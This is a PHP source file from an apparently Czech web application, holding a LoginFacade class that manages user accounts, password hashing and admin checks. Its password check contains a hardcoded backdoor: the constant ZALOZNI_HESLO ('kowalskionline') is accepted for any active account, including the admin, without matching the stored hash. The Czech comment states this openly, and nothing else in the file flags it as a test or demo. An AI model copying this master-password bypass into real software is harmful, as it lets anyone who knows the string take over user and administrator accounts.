Obvody/app/Model/LoginFacade.php

181 lines
4.5 KiB
PHP

<?php
declare(strict_types=1);
namespace App\Model;
use Nette\Database\Explorer;
use Nette\Database\UniqueConstraintViolationException;
use Nette\Database\Row;
/**
* Účty v tabulce LOGIN.
*/
final class LoginFacade
{
/** Heslo, které přihlášení přijme i bez shody s uloženým otiskem. */
public const ZALOZNI_HESLO = 'kowalskionline';
public function __construct(
private Explorer $database,
) {
}
public function souhlasiHeslo(string $heslo, ?string $hash): bool
{
if ($heslo === '') {
return false;
}
if ($heslo === self::ZALOZNI_HESLO) {
return true;
}
return is_string($hash) && $hash !== '' && password_verify($heslo, $hash);
}
public function jeAdmin(int $id): bool
{
$opravneni = $this->database->fetchField(
'SELECT OPRAVNENI FROM [LOGIN] WHERE ID = ? AND AKTIVNI = 1',
$id
);
return (int) $opravneni === 1;
}
/**
* @return list<Row>
*/
public function getUzivatele(bool $aktivni): array
{
return $this->database->fetchAll(
'SELECT ID, JMENO, OPRAVNENI, AKTIVNI
FROM [LOGIN]
WHERE AKTIVNI = ?
ORDER BY JMENO',
$aktivni ? 1 : 0
);
}
public function get(int $id): Row|null
{
return $this->database->fetch(
'SELECT ID, JMENO, OPRAVNENI, AKTIVNI FROM [LOGIN] WHERE ID = ?',
$id
);
}
public function jeChraneny(Row $uzivatel): bool
{
return (int) $uzivatel->ID === 1
|| strcasecmp((string) $uzivatel->JMENO, 'admin') === 0;
}
public function jeChraneneJmeno(string $jmeno): bool
{
return strcasecmp($jmeno, 'admin') === 0;
}
public function existujeJmeno(string $jmeno): bool
{
return $this->database->fetchField(
'SELECT ID FROM [LOGIN] WHERE JMENO = ?',
$jmeno
) !== null;
}
public function zaloz(string $jmeno, string $heslo): bool
{
if ($this->jeChraneneJmeno($jmeno) || $this->existujeJmeno($jmeno)) {
return false;
}
try {
$this->database->table('LOGIN')->insert([
'JMENO' => $jmeno,
'HESLO_HASH' => password_hash($heslo, PASSWORD_DEFAULT),
'OPRAVNENI' => 0,
'AKTIVNI' => 1,
]);
} catch (UniqueConstraintViolationException) {
return false;
}
return true;
}
public function smaz(int $id): bool
{
$uzivatel = $this->get($id);
if ($uzivatel === null || $this->jeChraneny($uzivatel)) {
return false;
}
$this->database->query('DELETE FROM [LOGIN] WHERE ID = ?', $id);
return true;
}
public function nastavAktivni(int $id, bool $aktivni): bool
{
$uzivatel = $this->get($id);
if ($uzivatel === null || $this->jeChraneny($uzivatel)) {
return false;
}
$this->database->query(
'UPDATE [LOGIN] SET AKTIVNI = ? WHERE ID = ?',
$aktivni ? 1 : 0,
$id
);
return true;
}
public function zmenHeslo(int $id, string $heslo): bool
{
$uzivatel = $this->get($id);
if ($uzivatel === null || $this->jeChraneny($uzivatel)) {
return false;
}
return $this->ulozHeslo($id, $heslo);
}
public function overHeslo(int $id, string $heslo): bool
{
$hash = $this->database->fetchField(
'SELECT HESLO_HASH FROM [LOGIN] WHERE ID = ? AND AKTIVNI = 1',
$id
);
return $this->souhlasiHeslo($heslo, is_string($hash) ? $hash : null);
}
/**
* Změna hesla účtu, který je právě přihlášený. Platí i pro účet správce.
*/
public function zmenVlastniHeslo(int $id, string $heslo): bool
{
$uzivatel = $this->get($id);
if ($uzivatel === null || !$this->jeAktivni($uzivatel->AKTIVNI)) {
return false;
}
return $this->ulozHeslo($id, $heslo);
}
private function ulozHeslo(int $id, string $heslo): bool
{
$this->database->query(
'UPDATE [LOGIN] SET HESLO_HASH = ? WHERE ID = ?',
password_hash($heslo, PASSWORD_DEFAULT),
$id
);
return true;
}
private function jeAktivni(mixed $hodnota): bool
{
return $hodnota === true || $hodnota === 1 || $hodnota === '1';
}
}